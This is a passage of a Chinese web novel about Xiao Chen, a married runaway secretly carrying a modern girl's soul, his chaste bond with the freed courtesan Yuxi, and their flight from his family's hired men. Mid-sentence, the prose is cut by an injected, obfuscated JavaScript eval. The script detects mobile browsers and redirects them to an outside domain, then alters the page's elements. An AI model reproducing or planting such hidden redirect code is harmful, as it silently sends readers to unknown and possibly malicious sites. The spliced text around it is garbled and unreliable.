肖晨见玉溪误会,赶忙解释:“玉溪,你别误会。我只是觉得你如今自由了,应该有更好的生活。我不想因为我的缘故,耽误你的终身大事。你年轻貌美,心地又善良,定能寻得良人,过上幸福安稳的日子。” 玉溪眼眶泛红,泪水在眼眶里打转:“公子,在这世上,您就是对我最好的人。若不是您,我还在那苦海之中挣扎。我……我不想离开您,也从未想过要另寻他人。这些日子与您相处,玉溪早已心生情愫,只愿能一直陪伴在您身边。” 肖晨心中一动,看着玉溪深情的模样,一时不知该如何作答。他一直将帮助玉溪脱离苦海视为己任,却未曾想过玉溪对自己竟有这般心意。沉默良久,肖晨缓缓说道:“玉溪,我……我也并赶你走。只是我如今已与家中决裂,前途未卜,不想让你跟着我吃苦。” 玉溪破涕为笑,坚定地说道:“公子,只要能与您在一起,吃苦又何妨?玉溪不怕。无论未来怎样,我都愿与您一同面对。” 肖晨看着玉溪坚定的眼神,心中感动不已。他轻轻握住玉溪的手,说道:“好,既然如此,往后我们便携手同行,共同创造属于我们的生活。” 夜深了,肖晨轻轻走进屋里,缓缓褪去衣物后躺到床上。刚一躺下,他便触碰到一片温热滑嫩,惊得他赶忙转过身。 只见玉溪□□地躺在他身旁。肖晨满脸震惊,结结巴巴地说道:“你……你怎么睡在这里?” 玉溪面色绯红,眼神中却满是坚定,轻声说道:“公子,我已经认定了你,心意绝无更改。” 肖晨赶忙别过头,不敢再看,语气慌乱却又坚决:“不行,我不能娶你,你不能跟我在一起。” 玉溪眼中闪过一丝受伤,却并未退缩,“公子,为何不能?是玉溪哪里做得不好吗?” 肖晨深吸一口气,努力让自己镇定下来,说道:“玉溪,并非你不好,而是我如今的状况太过艰难。与家中闹翻,前途渺茫,我不想你跟着我受苦。而且,我不想让你因我,在这小镇遭人非议。你值得更好的生活,更安稳的归宿。” 玉溪眼中泪花闪烁,“公子,我不在乎这些。能脱离苦海,能与公子相识相知,是玉溪这辈子最幸运的事。无论是苦是难,玉溪都愿与公子一同承担。” 肖晨眉头紧皱,内心痛苦挣扎,“可这对我而言,是拖累你。我希望你能有真正幸福的人生,而不是被我牵连。” 玉溪轻轻拉住肖晨的衣袖,“公子,若您真为玉溪好,就别推开我。没有公子,哪怕生活再好,玉溪也不会幸福。” 肖晨艰难地开口,声音低沉而无奈:“玉溪,我其实已经成家了。那完全是家族的安排,从始至终,我都不想娶她。但家族之命难违,我……只能接受。”他顿了顿,脸上满是痛苦与纠结,“如今,我心里实在没有再娶亲的心思。这段时间,我一直把你当朋友,从未有过别的想法。” 玉溪如遭雷击,原本充满期待的眼神瞬间黯淡,泪水不受控制地夺眶而出。“公子,您为何……为何不早些告诉我?”她的声音带着哭腔,满心的欢喜在这一刻碎成了无数片。 肖晨不敢直视玉溪的眼睛,愧疚地低下头:“我本以为,我们可以就这样以朋友的身份,相互扶持生活下去。我不想让你因为我的家庭状况而失望或者伤心,所以一直没敢说。” 玉溪咬着嘴唇,身体微微颤抖:“可是公子,您知道吗?玉溪满心欢喜地以为,我们可以一起创造未来,以为……您对我也是有情意的。” 肖晨长叹一口气,心中满是自责:“玉溪,是我不好,是我考虑不周,让你产生了误会。但请相信,我对你的关心和帮助,都是真心实意把你当朋友。我希望你能明白我的苦衷,也希望你能找到真正属于自己的幸福。” 玉溪泪流满面,她起身慢慢捡起地上的衣服穿上。“公子,玉溪明白了。只是,玉溪的心已经收不回来了。但既然您已有家室,玉溪也不会再纠缠。往后,玉溪会试着放下。”说完,她头也不回地走出了房间,只留下肖晨独自躺在床上,满心的无奈与愧疚。 玉溪失魂落魄地走出房间,月光洒在她身上,拉出一道孤独而落寞的影子。她走到院子的角落,再也忍不住,放声大哭起来。 她怎么也没想到,肖晨竟然已经成家。是啊,他出身富贵,这样的人家,早早为子女定下亲事再正常不过。自己怎么就这么傻,一直沉浸在幻想之中,以为肖晨对自己有着特殊的情谊,能与自己共度余生。此刻想来,不过是自己一厢情愿,想得太多罢了。 哭声在寂静的夜里显得格外凄凉,泪水不断从她脸颊滑落,打湿了胸前的衣衫。她的心仿佛被撕裂一般疼痛,之前与肖晨相处的点点滴滴,此刻都成了刺痛她的利刃。那些温暖的瞬间,那些以为是爱情的暗示,原来都是自己的误解。 玉溪边哭边自责,恨自己的天真,恨自己不该对这段感情抱有幻想。她深知,从这一刻起,自己与肖晨之间,终究是有了无法逾越的鸿沟。 许久,她的哭声渐渐变小,泪水也流干了。她抬起头,望着夜空,眼神中满是迷茫与无助。往后的路该怎么走,她不知道。但她明白,自己必须试着放下对肖晨的感情,重新寻找属于自己的生活。只是,这心中的伤痛,又岂是一时半会儿能够抚平的呢。 这一夜,对于肖晨和玉溪而言,都如在荆棘丛中辗转。肖晨躺在床上,满心都是对玉溪的愧疚,脑海里不断浮现出她昨夜伤心欲绝的模样,自责像潮水般将他淹没,让他难以入眠。而玉溪,蜷缩在自己临时安置的地方,泪水浸湿了枕头,心中的痛苦如影随形,每一次闭眼,都仿佛能看到肖晨告知她已成家时那无奈的神情,就这样睁眼到天明。 清晨,微弱的阳光透过窗户缝洒进屋内。玉溪早早起身,尽管双眼红肿,神色憔悴,她还是强打起精神走进厨房。往日做饭时心中满是对未来生活的憧憬,今日却只剩满心苦涩。但她还是习惯性地为肖晨准备了早餐,动作机械而麻木。 不多时,肖晨也打开了房门。他一眼便看到坐在桌前的玉溪,脚步顿时一滞。两人的目光交汇,却又迅速错开,谁也没有开口打破这令人窒息的沉默。空气中弥漫着尴尬与沉重的气息,仿佛有一层无形的膜,将两人隔开。 肖晨缓缓走到桌前坐下,看着桌上熟悉的早餐,却没有了往日的食欲。玉溪低着头,手指无意识地揪着衣角,气氛压抑得让人喘不过气来。终于,肖晨艰难地开口,打破了这份死寂:“玉溪,昨晚……”话未说完,却又不知该如何继续。 玉溪抬起头,眼中闪过一丝复杂的情绪,轻声说道:“公子,过去的事就别提了。饭菜快凉了,吃点吧。”她故作镇定的语气里,还是藏不住那一丝难以言说的悲伤。 肖晨张了张嘴,还想说些什么,却又觉得此时任何言语都显得苍白无力。最终,他默默拿起碗筷,只是每一口吞咽,都如同嚼蜡。这顿早餐,在沉默与煎熬中进行着,两人之间的关系,似乎也在这一夜之间,发生了难以逆转的变化。 肖母回到家中,一迈进门槛,整个人仿佛被抽去了力气,瘫坐在椅子上。她满心都是儿子决然的神情,意识到儿子这次恐怕是铁了心不回来了。这让她如何能接受?在她心中,儿子是她的命根子,怎能就此离开。 这时,李傲雪轻移莲步,走到肖母身旁,轻声问道:“娘,少爷还是不肯回来么?” 肖母一听这话,心中的怒火“噌”地一下就冒了起来,转头怒视着李傲雪,呵斥道:“你自己都没用,连个男人都看不住!这几天你都不知道出去找找他吗?成日待在家里,要你有何用!” 李傲雪被骂得脸色一白,眼眶瞬间红了,委屈地说道:“娘,儿媳也想去找少爷,可您之前一直让儿媳待在家中,不让我随意出门。而且,儿媳实在不知少爷去了何处,这才……” 肖母不耐烦地打断她:“哼,少找借口!你身为他的妻子,连自己相公的行踪都摸不透,还有什么脸面辩解?若找不到他,看我怎么收拾你!”说罢,她重重地拍了下桌子,桌上的茶杯都跟着颤了颤。 李傲雪吓得身子一抖,赶忙说道:“娘息怒,儿媳这就想法子去找少爷。只是少爷此次离开,恐怕是心意已决,儿媳怕……” “怕什么怕!”肖母大声喝道,“无论如何,都得把他给我找回来!你若办不好这事,就别想在这肖家待下去!” 李傲雪咬了咬嘴唇,强忍着泪水,低头应道:“是,娘,儿媳定会竭尽全力。”心中却满是无奈与苦涩,她知道,要找回心意已决的肖晨,谈何容易,但面对肖母的逼迫,她又别无选择。 肖母心急如焚,瞧见阿成路过,一把将他拉住,声色俱厉地问道:“阿成,少爷呢?你肯定知道他的下落!” 阿成面露难色,嗫嚅着:“老夫人,我……我真不知道公子去了哪里。公子离开时,并未告知我他的去处。” 肖母双眼一瞪,心急之下差点落泪,声音带着哭腔吼道:“你再去香满楼打听打听!无论如何,一定要把少爷给我找回来!只要他肯回来,我什么都不计较了。往后啊,我都听他的,再也不逼他了。”说着,她身子一晃,险些跌倒,“要是他在外面出了事,我也不想活了!” 阿成赶忙扶住肖母,心中满是担忧与无奈,忙不迭应道:“老夫人您先保重身子,阿成立马就去香满楼打听。您放心,阿成就是掘地三尺,也会把公子找回来。” 肖母紧紧抓住阿成的胳膊,眼神中满是期盼:“你快去快回,一定要把少爷平安带回来啊。” 阿成匆匆领命,一路小跑着出了门,朝着香满楼的方向奔去。一路上,他心中暗暗祈祷,希望能在香满楼寻得关于公子的线索,让这场风波尽快平息,让肖家恢复往日的安宁。 阿成一路疾奔,很快就到了香满楼。还未进门,就被门口的小厮拦住。阿成心急如焚,赶忙掏出一锭银子塞给小厮,焦急地说道:“兄弟,我有急事找你们妈妈,劳烦通传一声。” 小厮见钱眼开,眉开眼笑地应道:“哟,行嘞!您稍等。”说罢,转身快步走进楼内。 不多时,鸨母扭动着身子,满脸堆笑地走了出来:“是哪位找老身呀?” 阿成见鸨母出来,赶忙上前,恭敬地说道:“妈妈,我是肖家的阿成。我家少爷之前与您这儿的姑娘玉溪往来密切,如今少爷离家出走,下落不明,老夫人急得不行,想问问您是否知道少爷的去向。” 鸨母一听,脸上的笑容瞬间消失,换上一副警惕的神情:“我哪知道你家少爷去哪了?那玉溪都已经赎身走了,和我这儿再没啥关系。” 阿成见鸨母有意推诿,又掏出几锭银子,递到鸨母手中,赔笑道:“妈妈,您就行行好,您在这风月场这么多年,消息灵通。您要是知道什么,还请务必告知,这银子就当是给您的辛苦费。老夫人说了,只要能找到少爷,必有重谢。” 鸨母掂量着手中的银子,眼神闪烁,思索片刻后说道:“好吧,看在你这么有诚意的份上,老身就跟你说。那玉溪赎身后,和你家少爷一起走了,至于去了哪儿,老身确实不知道。不过,那天听他俩谈话,好像提到要去一个安静的小镇生活。” 阿成一听,心中燃起一丝希望,赶忙追问:“妈妈,您可知道是哪个小镇?” 鸨母摇了摇头:“这我可真不清楚。他们说话的时候也是遮遮掩掩的,老身只听到这么一耳朵。” 阿成谢过鸨母,转身离开香满楼。他一边走一边思索,附近的小镇不少,该从哪里找起呢?但无论如何,既然有了线索,就一定要顺着找下去。 回到肖家,阿成将从鸨母那里打听到的消息如实告知了肖母。肖母听后,沉思片刻,说道:“不管有多少小镇,都派人去找!活要见人,死要见尸!”说罢,她眼中闪过一丝决绝,“阿成,你去安排人手,多带些盘缠,务必把少爷找回来。” 阿成领命而去,迅速安排了几个机灵的家丁,分成几路,朝着附近的各个小镇出发寻找肖晨。而肖母则每日在家中坐立不安,茶饭不思,只盼着能早日传来儿子的消息。 另一边,肖晨和玉溪还不知道肖家这边已经开始了大规模的寻找。他们在小镇上,依旧过着看似平静的生活。只是,两人之间的气氛始终有些微妙,玉溪刻意与肖晨保持着距离,而肖晨心中也满是愧疚,不知该如何面对玉溪。 日子一天天过去,寻找肖晨的家丁们在各个小镇奔波打听,却始终没有得到确切的消息。肖母的焦虑与日俱增,她开始后悔自己当初为何要如此强硬,若不是自己,儿子也不会离家出走,下落不明。 在小镇生活了一段日子,肖晨着实感受到了这份远离家族纷争的自在。他见玉溪虽表面平静,可眼中时常透着一丝落寞,心中不免心疼。 这天,阳光正好,肖晨走到玉溪身边,轻声说道:“玉溪,在这儿也闷了许久,要不要出去走走?四处逛逛,或许你的心情也会好很多。” 玉溪微微一怔,抬眼看向肖晨,犹豫片刻后轻轻点头:“也好。” 两人并肩出了门,沿着小镇的青石路漫步。街边小贩的叫卖声此起彼伏,各种新奇的小物件摆满了摊位。玉溪的目光被一个卖手工绢花的摊子吸引,摊主是个头发花白的老妇人,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993172|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热情地招呼着路人。 肖晨留意到玉溪眼中的喜爱,走上前问老妇人:“婆婆,这绢花怎么卖?”老妇人笑着回答:“一文钱一朵,公子要是多买,算您便宜些。”肖晨掏出几文钱,买了好几朵颜色各异的绢花,递到玉溪面前:“喜欢就拿着,别想太多啦。” 玉溪接过绢花,嘴角微微上扬,露出浅浅的笑容:“谢谢公子。”这是自知晓肖晨已婚之事后,她第一次真心地笑。 他们又走到了小镇的溪边,溪水潺潺流淌,清澈见底。溪边垂柳依依,柳枝随风轻摆。肖晨折下一根柳枝,编成一个小巧的柳环,轻轻放在玉溪头上:“看,多好看。玉溪,你本就该开开心心的。” 玉溪脸颊微微泛红,眼中泪光闪烁,却不是因为悲伤。“公子,这些日子,多谢您的照顾与陪伴。即便只能做朋友,能有这段时光,玉溪也知足了。” 肖晨看着玉溪,心中五味杂陈:“玉溪,是我对不住你。只愿你往后的日子,能一直这样快乐。” 玉溪微微仰头,目光温柔且带着一丝释然,轻声说道:“公子,你没有对不住我。自始至终,你对我已经够好了。若不是你,我如今或许还深陷泥沼,永无出头之日。” 肖晨神色复杂,眼中满是无奈与痛苦,缓缓开口:“我明白你对我的心意,玉溪。只是我……我不能爱任何人。这也是我痛苦的原因。”他望向远方,仿佛陷入了无尽的回忆与挣扎之中。 玉溪心中一颤,她虽早已知晓肖晨已婚的事实,可听到他这般直白地吐露心声,仍不免感到一阵刺痛。“公子,为何不能?难道,是因为家中的夫人?” 肖晨长叹一口气,微微点头:“是,也不是。我与家中那位夫人,不过是家族联姻的牺牲品。这段婚姻,从一开始便不是因为爱情。可既然已成婚,我便不能再对他人付出真心,这是我的责任,也是我的无奈。” 玉溪眼中泪光闪烁,她能感受到肖晨话语中的痛苦与纠结。“公子,我懂了。您无需自责,玉溪不会再让您为难。只是,往后还请允许玉溪以朋友的身份,陪伴在您身边,可好?” 肖晨转头看向玉溪,眼中满是感激:“玉溪,谢谢你的理解。能有你这样一位朋友,是我的幸运。只是,我不想因为我,耽误你寻找自己的幸福。” 玉溪轻轻摇头,微笑着说道:“公子,能与您相识,已是玉溪此生最幸运之事。至于幸福,玉溪会慢慢找寻的。” 肖晨暗自庆幸玉溪能理解,同时又在心底默默感叹自己这难以言说的秘密。他实在无法向玉溪,甚至是任何人说明,自己真正的来历——他来自现代,更惊人的是,其实自己的灵魂是个女孩。 他清楚,一旦说出这个秘密,别说玉溪,恐怕任谁听了都会被吓到。大家肯定会觉得他是个彻头彻尾的神经病,把他当成怪物一般看待。这小镇虽说民风淳朴,但如此离奇荒诞的事,任谁都难以接受。 他只能将这个秘密深埋心底,小心翼翼地维持着现在的生活。有时候,夜深人静,他独自思索,这一切如同一场荒诞却又真实的梦。来到这个陌生的时代,经历了这么多,他已然在努力适应,可这个秘密却像一块沉甸甸的石头,压在他的心头。 他看着眼前的玉溪,心中五味杂陈。一方面,他珍惜与玉溪这份特殊的情谊,想要守护她;另一方面,又因自己隐藏的秘密,觉得对玉溪有所亏欠。但无论如何,他都决定将这个秘密永远藏好,用自己的方式,在这个时代继续生活下去,尽自己所能,护身边人周全。 肖晨望着玉溪,眼中满是痛苦与无奈,声音低沉地说道:“玉溪,如果我只是个普通的男人就好了,没有家族强加的婚姻,不受那些所谓道德规矩的捆绑,这样我就能真正去爱一个人。可如今,我只能在这无形的枷锁中挣扎,这种感觉太痛苦了。” 玉溪看着肖晨,心中满是心疼。她轻轻咬了咬嘴唇,试图寻找安慰他的话语:“公子,这世间诸多无奈,并非您一人如此。虽然您受困于现状,但这也并非您的本意呀。您心地善良,若能摆脱这些束缚,定能自由地去爱。只是当下,还请您别太为难自己。” 肖晨苦笑着摇头:“话虽如此,可又谈何容易。我每日每夜都在想,为何命运要如此捉弄我。一边是无法割舍的责任,一边是对自由爱情的渴望,我就像被架在火上烤,左右为难。” 玉溪缓缓靠近肖晨,轻轻拍了拍他的肩膀:“公子,也许我们无法改变过去,但未来还长。说不定哪天,事情会有转机呢。您且放宽心,无论怎样,玉溪都会在您身边,以朋友的身份陪着您。” 肖晨看着玉溪,心中涌起一股暖流:“玉溪,有你这样的朋友,是我在这痛苦生活中的一丝慰藉。只希望以后,别因为我,耽误了你追求幸福。” 玉溪说到,我会的。两个人谁也没说话,便回到了院子里,肖晨和玉溪依旧在小镇上生活着。白天,肖晨尝试着在小镇上寻找一些营生,他凭借着现代的一些见识,在集市上帮人写写信、算算帐,倒也能挣得些许散碎银两维持生计。玉溪则在家中操持家务,把小院收拾得井井有条。 一天,肖晨像往常一样从集市回来,手中还提着一些玉溪爱吃的点心。刚进院子,就看到玉溪神色慌张地迎了上来。“公子,不好了,我今日去集市买菜,听到有人在打听你的消息,好像是从你家乡来的。” 肖晨心中一紧,手中的点心差点掉落。“你可听清楚他们说了什么?有没有暴露我们的行踪?” 玉溪摇了摇头:“我没敢靠太近,只听到他们在询问有没有见过一个长相俊朗的公子和一个姑娘。不过,看他们的样子,应该还没找到这儿。” 肖晨眉头紧锁,在院子里来回踱步。他知道,肖家终究还是找来了。可他不想回到那个压抑的家,更不想连累玉溪。“玉溪,看来我们不能再在这里待下去了。肖家的人一旦找到这儿,恐怕不会轻易放过我们。你收拾些细软,我们今晚就走。” 玉溪没有丝毫犹豫,转身回屋开始收拾东西。看着玉溪忙碌的身影,肖晨心中满是愧疚。“玉溪,都是我连累了你,让你又要跟着我四处奔波。” 玉溪停下手中的动作,抬头看向肖晨:“公子,您别这么说。能和您一起面对这些,玉溪从未后悔过。而且,只要我们在一起,到哪儿都是家。” 夜晚,月色如水。肖晨和玉溪趁着夜色,悄悄离开了小镇。一路上,两人都沉默不语,各自怀揣着心事。肖晨不知道这一次离开,又将去往何处,也不知道未来还会遇到什么。但他暗暗发誓,无论如何,都要保护好玉溪。 他们沿着小路一直走,也不知走了多久,前方出现了一座大山。山脚下有一座破旧的庙宇,肖晨看着疲惫不堪的玉溪,说道:“玉溪,我们先去那座庙里休息一晚,天亮再赶路吧。” 两人走进庙宇,里面弥漫着一股陈旧的气息。神像已残缺不全,四周布满了蜘蛛网。肖晨找了个相对干净的角落,让玉溪坐下,又去外面捡了些干柴,生起了一堆火。火光映照在两人脸上,忽明忽暗。 玉溪看着肖晨,轻声说道:“公子,你说我们以后该怎么办?” 肖晨望着跳动的火苗,沉思片刻:“玉溪,我也不知道未来会怎样。但只要有我在,就不会让你受苦。或许,我们可以找一个更加偏远的地方,重新开始生活。” 玉溪点了点头,靠在墙上,缓缓闭上了眼睛。肖晨看着玉溪疲惫的面容,心中满是心疼。他轻轻脱下外衣,盖在玉溪身上,自己则守在一旁,警惕地注视着四周。 在这寂静的庙宇中,只有柴火燃烧发出的噼啪声。肖晨望着庙外漆黑的夜色,心中默默祈祷,希望他们能早日找到一个安宁的归宿,摆脱肖家的纠缠,过上平静的生活…… 12. 肖母的疯狂 不知过了多久,玉溪在睡梦中发出了轻轻的呓语,眉头微蹙,似乎正在经历着什么不安的梦境。肖晨凑近她,轻声安抚:“别怕,有我在。”许是听到了他的声音,玉溪的神色逐渐舒缓。 守着火堆,肖晨的思绪却难以平静。他深知,肖家势力庞大,想要彻底摆脱谈何容易。但无论前方有多少艰难险阻,他都决心护玉溪周全。 天渐渐亮了,第一缕阳光透过庙宇破败的屋顶洒下。肖晨轻轻唤醒玉溪:“玉溪,天亮了,我们继续赶路吧。”玉溪缓缓睁开眼睛,看着眼前的肖晨,有那么一瞬间,仿佛忘记了所有的危险与疲惫,心中只有眼前这个让她安心依靠的人。 两人收拾好简单的行囊,走出庙宇。阳光照在身上,却并未驱散他们心中的忧虑。他们沿着山路前行,山路崎岖,周围荒无人烟,偶尔传来几声不知名的鸟叫,更添几分寂静。 走着走着,玉溪突然脚下一滑,险些摔倒。肖晨眼疾手快,一把拉住她,将她稳稳地护在怀里。“小心点,山路不好走。”肖晨关切地说道,目光中满是担忧。玉溪红着脸点了点头,两人之间的气氛在这一瞬间变得有些微妙。 就在这时,远处传来一阵马蹄声。肖晨脸色一变,急忙拉着玉溪躲进路边的草丛。透过草丛的缝隙,他们看到一队人马正沿着山路缓缓而来。为首的正是肖家的管家,他神色严肃,目光警惕地扫视着四周。 “看来他们已经追到这附近了。”肖晨低声说道,心中暗暗叫苦。这队人马装备精良,若是被发现,他们很难逃脱。 待人马远去,肖晨和玉溪才小心翼翼地从草丛中出来。“我们不能再走大路了,得找条小路绕过去。”肖晨说道。于是,两人离开山路,在山林中艰难地穿梭。山林中荆棘丛生,不时划破他们的衣衫,但他们都顾不上这些,只想尽快摆脱肖家的追踪。 经过一番艰难的跋涉,他们终于走出了山林,来到了一个小村庄。村庄不大,却透着一股宁静祥和的气息。村民们看到陌生的肖晨和玉溪,纷纷投来好奇的目光。 肖晨和玉溪找到村长,说明了他们想要在村里借住一段时间的来意。村长是个善良的老人,看着两人疲惫不堪的样子,欣然答应了他们的请求。 在村长的安排下,肖晨和玉溪住进了村头的一间空屋子。屋子虽然简陋,但对于此刻的他们来说,已经是难得的安身之所。 肖晨和玉溪开始在村子里生活下来,他们帮村民们干活,与村民们相处融洽。然而,肖晨知道,这里只是暂时的避风港,肖家的威胁依旧如影随形。在平静的生活背后,他始终保持着警惕,思索着如何彻底摆脱肖家的控制,给玉溪和自己一个真正安稳的未来…… 肖母听闻派出去寻找的人空手而归,未发现肖晨的一丝踪迹,顿时心急如焚,在厅堂里来回踱步,神色愈发阴沉。思索片刻后,她猛地停下脚步,眼神中透着决绝,大声吩咐道:“出去重金悬赏!不管是谁,只要能提供少爷下落的准确消息,赏银千两!若能将少爷毫发无损地带回来,直接赏银万两!” 一旁的管家面露难色,小心翼翼地劝道:“老夫人,如此大张旗鼓地悬赏,会不会……引起不必要的麻烦?万一消息传扬出去,对肖家的名声……” 肖母怒目圆睁,打断管家的话:“都什么时候了,还顾得上什么名声!若是找不回晨儿,我要这名声有何用?你即刻去办,多找些人张贴告示,务必让周围郡县的人都知道!” 管家不敢再多言,赶忙应下,匆匆退出去安排此事。很快,城里大街小巷都贴上了悬赏告示,上面详细描绘了肖晨的模样,以及令人咋舌的赏银数额。过往行人纷纷驻足观看,一时间,肖家少爷离家出走,肖母重金悬赏的消息迅速传开,成了街头巷尾热议的话题。 而此时在小村庄里的肖晨和玉溪,浑然不知外面发生的一切。他们依旧过着帮村民劳作的简单生活。这天,肖晨像往常一样在田间帮忙耕地,一位村民匆匆跑来,神色慌张地说道:“肖公子,不好了!村里来了几个陌生人,四处打听你的消息,看着不像是好人呐!” 肖晨心中一凛,手上的动作顿住。他来不及多想,谢过村民后,立刻放下农具,朝他们居住的屋子奔去。一路上,他心急如焚,满脑子都是玉溪的安危。 回到家中,肖晨一把拉住正在屋内收拾东西的玉溪,急促地说道:“玉溪,情况不妙,村里来了陌生人打听我的消息,估计是肖家的人追来了。我们得马上离开。”玉溪脸色瞬间变得煞白,但她很快镇定下来,迅速将仅有的一些细软打包。 两人刚出屋子,就看到几个神情凶悍的大汉朝着他们的方向走来。肖晨低声对玉溪说:“别慌,跟紧我。”说着,他带着玉溪从屋子的后门出去,绕到屋后的一片树林。 大汉们察觉到动静,紧追不舍。肖晨和玉溪在树林中拼命奔跑,树枝划破了他们的皮肤,可他们顾不上疼痛。跑着跑着,前方出现了一条湍急的河流。此时,身后的大汉们已经追了上来,将他们团团围住。 为首的大汉冷笑一声:“哼,看你们还往哪儿跑!乖乖跟我们回去,还能少受点皮肉之苦。”肖晨将玉溪护在身后,怒视着对方:“你们休想得逞!我是不会跟你们回去的。” 就在双方僵持不下时,突然听到不远处传来一阵嘈杂的呼喊声。原来是村里的村民们拿着锄头、棍棒等工具赶来。村长站在最前面,大声喝道:“你们是什么人?竟敢在我们村子里撒野!” 那大汉不屑地瞥了村长一眼:“老东西,这事儿和你们无关,识相的就赶紧走开,别给自己找麻烦。”村长毫不畏惧,向前走了几步:“这是我们的村子,容不得你们胡来。他们在我们村子住了这么久,就是我们的朋友,你们要带人走,先问问我们手里的家伙同不同意!” 村民们纷纷响应,举起手中的农具,摆出一副要拼命的架势。大汉们见势不妙,有些犹豫起来。为首的大汉恶狠狠地瞪了肖晨一眼:“算你们运气好,今天暂且放过你们。但你们别以为能逃得了,我们还会再来的!”说罢,带着手下灰溜溜地走了。 肖晨和玉溪感激地看着村长和村民们。肖晨对着大家深深鞠了一躬:“多谢各位乡亲出手相助,不然我们今天可就危险了。只是,肖家肯定不会善罢甘休,我们留在这里只会给村子带来麻烦。我们必须得走了。” 村长叹了口气,拍了拍肖晨的肩膀:“孩子,我们也知道留不住你们。这一路你们要多加小心啊。”玉溪眼中含泪,向村民们一一告别。 离开村子后,肖晨和玉溪踏上了更加艰难的逃亡之路。他们不知道下一个落脚点在哪里,也不知道肖家的人何时又会追上来。但他们彼此相伴,心中都怀揣着对自由生活的渴望,一步一步坚定地向前走去,哪怕未来充满了未知与危险…… 一路马不停蹄地逃跑,肖晨的脚步渐渐沉重,面容满是疲惫之色。他转头看向身旁同样狼狈却始终坚定相随的玉溪,心中一阵揪痛,缓缓说道:“玉溪,你走吧。他们一心找的人是我,跟着我,你只会不断吃苦受累,未来的路还不知有多艰险。” 玉溪听闻,眼中满是不可置信,仿佛肖晨说出的是世上最荒谬的话。她眼眶瞬间泛红,声音微微颤抖:“公子,您怎能说出这样的话?从您将我救出苦海那一刻起,玉溪就已下定决心,无论生死祸福,都要与您相伴。这些日子的逃亡虽苦,可只要能在您身边,玉溪从未觉得辛苦。” 肖晨看着玉溪,心中五味杂陈,既为她的深情所感动,又因可能带给她的危险而自责。“玉溪,我不想因为我,让你陷入无尽的困境。肖家势力庞大,他们不会轻易放过我,跟着我,你随时可能有生命危险。” 玉溪走上前,紧紧抓住肖晨的衣袖,眼神无比坚定:“公子,生死我都不怕,又怎会惧这区区危险?您若再赶我走,倒显得是玉溪贪生怕死之辈。只要能与公子共患难,便是死,玉溪也毫无怨言。” 肖晨望着玉溪,一时语塞。他深知玉溪性格执拗,一旦认定的事便不会轻易改变。沉默良久,他轻轻叹了口气,伸手为玉溪捋了捋被风吹乱的发丝,“既然如此,那往后无论发生何事,我们都一同面对。只是苦了你,要跟着我四处漂泊。” 玉溪破涕为笑,用力点头,“只要能和公子在一起,再苦的漂泊玉溪也甘之如饴。”两人相视,目光交汇间,似有一股无形的力量,将彼此的心紧紧相连,在这前途未卜的逃亡之路上,给予他们继续前行的勇气与信念。 没有了村民的庇佑,肖晨和玉溪仿佛置身于狂风暴雨中的孤舟,很快,他们的踪迹就被肖家派出的人找到了。 那是一个阴沉的午后,铅灰色的云层沉甸甸地压在天际。肖晨和玉溪正在一处偏僻的山谷中稍作休息,四周静谧得有些诡异。突然,一阵杂乱的脚步声打破了这份宁静,一群身着黑衣的人如鬼魅般从山谷两侧涌出,将他们团团围住。 肖晨脸色骤变,迅速将玉溪护在身后,警惕地盯着眼前这群不速之客。为首的黑衣人面容冷峻,目光如鹰般犀利,他冷冷地开口:“肖公子,可算找到你了,老夫人盼你回去,别再做无谓的挣扎。” 肖晨冷哼一声,毫不畏惧地回怼:“回去?回那个毫无自由、任人摆布的家?你们休想!”黑衣人眉头一皱,眼中闪过一丝不悦:“肖公子,别敬酒不吃吃罚酒,老夫人已经下了死命令,今日必须带你回去。” 话音刚落,黑衣人一挥手,手下众人便如饿狼般扑了上来。肖晨虽毫无惧色,但终究寡不敌众,很快便陷入了苦战。玉溪在一旁心急如焚,她四处张望,试图寻找可以帮助肖晨的办法。 就在肖晨渐渐体力不支之时,玉溪发现不远处有一块尖锐的石头。她咬咬牙,不顾危险地冲过去,抄起石头,朝着离肖晨最近的黑衣人砸去。这突如其来的一击,让黑衣人措手不及,顿时阵脚大乱。 然而,这也彻底激怒了对方。黑衣人首领怒目圆睁,吼道:“连这女人一起抓!”局势愈发危急,肖晨和玉溪背靠背站着,彼此的眼神中却没有丝毫退缩,他们紧紧相依,准备迎接这场生死之战,哪怕胜算渺茫,也绝不轻易放弃…… 肖晨一边奋力抵挡着黑衣人的攻击,一边大声喊道:“你们放了她,我跟你们回去!”他深知,凭借他们两人之力,今日恐难突出重围,若能以自己回去为条件,换得玉溪平安,也算值得。 黑衣人首领听闻,微微一愣,随即冷笑起来:“肖公子,你觉得我们会答应吗?这女人与你一起出逃,指不定知道多少肖家机密,岂能轻易放过。”说罢,他一挥手,示意手下加大攻势。 肖晨心急如焚,拼尽全力护着玉溪,身上却还是被利刃划伤了几处。玉溪看着肖晨受伤,泪水夺眶而出:“公子,玉溪死也不会离开您,要走一起走,要死一起死!” “不行!”肖晨大喊,“玉溪,你不该卷进这一切,你值得好好活下去。”此时,黑衣人攻势愈发猛烈,肖晨和玉溪渐渐支撑不住。 就在这千钧一发之际,远方突然传来一阵急促的马蹄声。众人转头望去,只见尘土飞扬,一队官兵疾驰而来。原来是当地县令听闻此处有打斗声,担心发生事端,便派人前来查看。 黑衣人首领脸色一变,低声咒骂道:“该死!”他深知官兵介入,事情会变得棘手,当下也顾不得抓捕肖晨二人,大手一挥:“撤!”黑衣人如同潮水般迅速退去。 肖晨和玉溪劫后余生,瘫倒在地。官兵赶到后,见两人受伤,赶忙将他们扶起。在官兵的帮助下,肖晨和玉溪被带到了附近的城镇医治。经过一番调养,两人伤势逐渐好转。 肖母听闻儿子下落的消息,一刻都不敢耽搁,心急火燎地赶了过来。当她终于在客栈房间里看到肖晨时,眼眶瞬间红了,泪水在眼眶里打转。 肖晨看到母亲,神色复杂,还未等肖母开口,便抢先说道:“母亲,您要是想让我就这么跟您回去,那还是算了吧。” 